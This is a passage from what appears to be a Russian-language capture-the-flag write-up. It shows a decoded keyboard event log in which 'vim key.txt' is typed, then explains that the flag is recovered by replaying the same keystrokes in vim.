key event at 0.000000, 47 (KEY_V), up
key event at 0.000000, 23 (KEY_I), down
key event at 0.000000, 23 (KEY_I), up
key event at 0.000000, 50 (KEY_M), down
key event at 0.000000, 50 (KEY_M), up
key event at 0.000000, 57 (KEY_SPACE), down
key event at 0.000000, 57 (KEY_SPACE), up
key event at 0.000000, 37 (KEY_K), down
key event at 0.000000, 37 (KEY_K), up
key event at 0.000000, 18 (KEY_E), down
key event at 0.000000, 18 (KEY_E), up
key event at 0.000000, 21 (KEY_Y), down
key event at 0.000000, 21 (KEY_Y), up
key event at 0.000000, 52 (KEY_DOT), down
key event at 0.000000, 52 (KEY_DOT), up
key event at 0.000000, 20 (KEY_T), down
key event at 0.000000, 20 (KEY_T), up
key event at 0.000000, 45 (KEY_X), down
key event at 0.000000, 45 (KEY_X), up
key event at 0.000000, 20 (KEY_T), down
key event at 0.000000, 20 (KEY_T), up
down-up это нажатия клавиш «вниз-вверх». Сразу видим, что запускается команда vim key.txt. Vim — это популярный текстовый редактор, который имеет два режима работы, редактирование текста и командный режим. Поэтому не все буквы в логе были реальным текстом. Для решения нужно было просто прокликать все те же самые клавиши и получить на выходе флаг.